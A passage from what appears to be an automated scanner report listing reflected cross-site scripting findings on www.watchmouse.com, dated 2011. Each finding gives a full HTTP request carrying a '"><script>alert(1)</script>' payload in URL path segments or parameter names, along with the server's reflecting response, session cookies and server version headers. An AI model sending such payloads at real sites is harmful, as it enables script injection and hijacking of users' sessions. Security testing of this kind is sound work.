<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="it" lang="it">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/it/?7ee6a"><script>alert(1)</script>48690ceb28a=1" method="post">
...[SNIP]...

1.632. http://www.watchmouse.com/it/feature/public-status-page.html [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/it/feature/public-status-page.html

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 8be22"><script>alert(1)</script>d14c70ea7fd was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /it8be22"><script>alert(1)</script>d14c70ea7fd/feature/public-status-page.html HTTP/1.1
Host: www.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.10.10.1297252772;

Response (redirected)

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 12:09:53 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
Last-Modified:
ETag: "0-en-c615ffe58b21da03f0e73df8f663bc28"
Content-Language: en
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 13253

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/en/it8be22"><script>alert(1)</script>d14c70ea7fd/feature/public-status-page.html" method="post">
...[SNIP]...

1.633. http://www.watchmouse.com/it/feature/public-status-page.html [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/it/feature/public-status-page.html

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload dbabe"><script>alert(1)</script>90596ac9e05 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /it/featuredbabe"><script>alert(1)</script>90596ac9e05/public-status-page.html HTTP/1.1
Host: www.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.10.10.1297252772;

Response

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 12:09:56 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
Last-Modified:
ETag: "0-it-aeb9a875069c0782067304b0296f9124"
Content-Language: it
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 13540

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="it" lang="it">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/it/featuredbabe"><script>alert(1)</script>90596ac9e05/public-status-page.html" method="post">
...[SNIP]...

1.634. http://www.watchmouse.com/it/feature/public-status-page.html [REST URL parameter 3] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/it/feature/public-status-page.html

Issue detail

The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 12b9e"><script>alert(1)</script>7a54ab14dd5 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /it/feature/public-status-page.html12b9e"><script>alert(1)</script>7a54ab14dd5 HTTP/1.1
Host: www.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.10.10.1297252772;

Response

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 12:09:57 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
Last-Modified:
ETag: "0-it-aacb57b559a2af435d7fe37a2e30f73a"
Content-Language: it
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 13540

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="it" lang="it">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/it/feature/public-status-page.html12b9e"><script>alert(1)</script>7a54ab14dd5" method="post">
...[SNIP]...

1.635. http://www.watchmouse.com/it/feature/the-watchmouse-api.html [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/it/feature/the-watchmouse-api.html

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 6f1c2"><script>alert(1)</script>a2ef2af4f50 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /it6f1c2"><script>alert(1)</script>a2ef2af4f50/feature/the-watchmouse-api.html HTTP/1.1
Host: www.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.14.10.1297252772;

Response (redirected)

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 12:29:40 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
Last-Modified:
ETag: "0-en-868eb87816da1dd592d794d1faa50e56"
Content-Language: en
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 13253

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/en/it6f1c2"><script>alert(1)</script>a2ef2af4f50/feature/the-watchmouse-api.html" method="post">
...[SNIP]...

1.636. http://www.watchmouse.com/it/feature/the-watchmouse-api.html [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/it/feature/the-watchmouse-api.html

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 167cf"><script>alert(1)</script>0e1cb39eff3 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /it/feature167cf"><script>alert(1)</script>0e1cb39eff3/the-watchmouse-api.html HTTP/1.1
Host: www.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.14.10.1297252772;

Response

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 12:29:41 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
Last-Modified:
ETag: "0-it-e145fb26e75bbc782bf86e74df01fd1c"
Content-Language: it
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 13540

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="it" lang="it">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/it/feature167cf"><script>alert(1)</script>0e1cb39eff3/the-watchmouse-api.html" method="post">
...[SNIP]...

1.637. http://www.watchmouse.com/it/feature/the-watchmouse-api.html [REST URL parameter 3] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/it/feature/the-watchmouse-api.html

Issue detail

The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 4ce45"><script>alert(1)</script>d2601b5d8c7 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /it/feature/the-watchmouse-api.html4ce45"><script>alert(1)</script>d2601b5d8c7 HTTP/1.1
Host: www.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.14.10.1297252772;

Response

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 12:29:41 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
Last-Modified:
ETag: "0-it-1e33175b7e8585157ba5ff0f89ed18a4"
Content-Language: it
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 13540

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="it" lang="it">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/it/feature/the-watchmouse-api.html4ce45"><script>alert(1)</script>d2601b5d8c7" method="post">
...[SNIP]...

1.638. http://www.watchmouse.com/it/feature/transaction-monitoring-web-application-testing.html [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/it/feature/transaction-monitoring-web-application-testing.html

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 2a947"><script>alert(1)</script>f7928c7179e was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /it2a947"><script>alert(1)</script>f7928c7179e/feature/transaction-monitoring-web-application-testing.html HTTP/1.1
Host: www.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.10.10.1297252772;

Response (redirected)

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 12:09:32 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
Last-Modified:
ETag: "0-en-e4998840e743c41536c4bd9cb540e2f3"
Content-Language: en
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 13505

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/en/it2a947"><script>alert(1)</script>f7928c7179e/feature/transaction-monitoring-web-application-testing.html" method="post">
...[SNIP]...

1.639. http://www.watchmouse.com/it/feature/transaction-monitoring-web-application-testing.html [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/it/feature/transaction-monitoring-web-application-testing.html

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload b95d4"><script>alert(1)</script>edd65b60410 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /it/featureb95d4"><script>alert(1)</script>edd65b60410/transaction-monitoring-web-application-testing.html HTTP/1.1
Host: www.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.10.10.1297252772;

Response

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 12:09:34 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
Last-Modified:
ETag: "0-it-73ac59ae4e7fd2c9a81abd21006e5623"
Content-Language: it
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 13792

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="it" lang="it">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/it/featureb95d4"><script>alert(1)</script>edd65b60410/transaction-monitoring-web-application-testing.html" method="post">
...[SNIP]...

1.640. http://www.watchmouse.com/it/feature/transaction-monitoring-web-application-testing.html [REST URL parameter 3] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/it/feature/transaction-monitoring-web-application-testing.html

Issue detail

The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload fbd42"><script>alert(1)</script>8f8a5b6cf20 was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /it/feature/transaction-monitoring-web-application-testing.htmlfbd42"><script>alert(1)</script>8f8a5b6cf20 HTTP/1.1
Host: www.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.10.10.1297252772;

Response

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 12:09:35 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
Last-Modified:
ETag: "0-it-3953573fa63d66f40c3cab86ddc52200"
Content-Language: it
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 13792

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="it" lang="it">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/it/feature/transaction-monitoring-web-application-testing.htmlfbd42"><script>alert(1)</script>8f8a5b6cf20" method="post">
...[SNIP]...

1.641. http://www.watchmouse.com/it/feature/transaction-monitoring-web-application-testing.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/it/feature/transaction-monitoring-web-application-testing.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload f789c"><script>alert(1)</script>f3ef55c163f was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /it/feature/transaction-monitoring-web-application-testing.html?f789c"><script>alert(1)</script>f3ef55c163f=1 HTTP/1.1
Host: www.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.10.10.1297252772;

Response

HTTP/1.1 200 OK
Date: Wed, 09 Feb 2011 12:09:29 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
Last-Modified:
ETag: "0-it-8a53415046e42359d9568a82be98e8cc"
Content-Language: it
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 24659

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="it" lang="it">
<head><tit
...[SNIP]...
<form id="login_form" action="/it/feature/transaction-monitoring-web-application-testing.html?f789c"><script>alert(1)</script>f3ef55c163f=1" method="post">
...[SNIP]...

1.642. http://www.watchmouse.com/it/learn_more.php [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/it/learn_more.php

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 1dabf"><script>alert(1)</script>130cf9bbd54 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /it1dabf"><script>alert(1)</script>130cf9bbd54/learn_more.php HTTP/1.1
Host: www.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.10.10.1297252772;

Response (redirected)

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 12:09:42 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
Last-Modified:
ETag: "0-en-f6df063a7e4def3fb78d241c0752932b"
Content-Language: en
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 13100

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/en/it1dabf"><script>alert(1)</script>130cf9bbd54/learn_more.php" method="post">
...[SNIP]...

1.643. http://www.watchmouse.com/it/learn_more.php [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/it/learn_more.php

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload a6b77"><script>alert(1)</script>e86654dd82c was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /it/learn_more.phpa6b77"><script>alert(1)</script>e86654dd82c HTTP/1.1
Host: www.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.10.10.1297252772;

Response

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 12:09:44 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
Last-Modified:
ETag: "0-it-6ea865865e1d1f34b070fab594e70fbd"
Content-Language: it
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 13387

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="it" lang="it">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/it/learn_more.phpa6b77"><script>alert(1)</script>e86654dd82c" method="post">
...[SNIP]...

1.644. http://www.watchmouse.com/it/learn_more.php [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/it/learn_more.php

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload ce019"><script>alert(1)</script>d908457c441 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /it/learn_more.php?ce019"><script>alert(1)</script>d908457c441=1 HTTP/1.1
Host: www.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.10.10.1297252772;

Response

HTTP/1.1 200 OK
Date: Wed, 09 Feb 2011 12:09:36 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Last-Modified: Wed, 09 Feb 2011 12:09:36 GMT
Content-Language: it
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 46047

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="it" lang="it">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/it/learn_more.php?ce019"><script>alert(1)</script>d908457c441=1" method="post">
...[SNIP]...

1.645. http://www.watchmouse.com/it/plans_price.php [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/it/plans_price.php

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 482f5"><script>alert(1)</script>5784c18d3da was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /it482f5"><script>alert(1)</script>5784c18d3da/plans_price.php HTTP/1.1
Host: www.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.10.10.1297252772;

Response (redirected)

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 12:09:30 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
Last-Modified:
ETag: "0-en-ffa63dcb532fca6c71b28aeea25c9cd2"
Content-Language: en
